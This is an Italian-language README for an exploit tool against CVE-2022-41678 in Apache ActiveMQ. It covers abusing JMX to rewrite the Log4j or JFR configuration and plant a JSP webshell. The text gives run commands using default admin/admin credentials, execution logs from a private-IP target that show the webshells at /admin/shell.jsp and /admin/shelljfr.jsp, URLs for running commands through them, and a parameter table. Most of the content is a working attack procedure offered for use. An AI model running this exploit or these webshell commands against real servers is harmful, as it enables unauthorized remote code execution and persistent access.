
CVE-2022-41678 è una vulnerabilità di esecuzione remota di codice in Apache ActiveMQ. Questa vulnerabilità consente a un attaccante di modificare la configurazione di Log4j o la configurazione di JFR (Java Flight Recorder) tramite l'interfaccia JMX (Java Management Extensions), scrivendo così una webshell JSP dannosa nella directory web del server, ottenendo infine l'esecuzione remota di codice.
Documentazione di riferimento: https://app.nextcyber.cn/courses/41/tasks/580
CVE-2022-41678 è una vulnerabilità di esecuzione di codice remoto in Apache ActiveMQ. La vulnerabilità consente a un attaccante di modificare la configurazione di Log4j o JFR (Java Flight Recorder) tramite l'interfaccia JMX (Java Management Extensions), scrivendo così una webshell JSP dannosa nella directory web del server, portando infine all'esecuzione di codice remoto.
Questa vulnerabilità colpisce diverse versioni di Apache ActiveMQ, a seconda dell'uso di Log4j e delle configurazioni JFR.
pip install requests
Utilizzando le credenziali predefinite admin/admin e la modalità di sfruttamento automatico:
python exp.py http://target:8161
È anche possibile specificare nome utente e password con i parametri -u e -p:
# Utilizzo di Log4j
python exp.py -u admin -p admin http://10.22.174.214:8161
# Risultato dell'esecuzione
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config
Oltre alla modalità Log4j predefinita, è possibile specificare la modalità JFR con il parametro --exploit jfr.
# Utilizzo della modalità JFR
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161
# Risultato dell'esecuzione
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id
Dopo uno sfruttamento riuscito, è possibile eseguire comandi accedendo ai seguenti URL:
# Webshell scritta tramite Log4j
http://target:8161/admin/shell.jsp?cmd=comando
# Webshell scritta tramite JFR
http://target:8161/admin/shelljfr.jsp?cmd=comando
Ad esempio, per eseguire il comando id:
http://target:8161/admin/shell.jsp?cmd=id
| Parametro | Abbreviazione | Tipo | Valore predefinito | Descrizione |
|---|---|---|---|---|
--username | -u | stringa | admin | Nome utente della console ActiveMQ |
--password | -p | stringa | admin | Password della console ActiveMQ |
--exploit | -e | stringa | auto | Modalità di sfruttamento, valori possibili: auto, log4j, jfr |
url | - | stringa | - | Indirizzo URL del server ActiveMQ di destinazione (parametro obbligatorio) |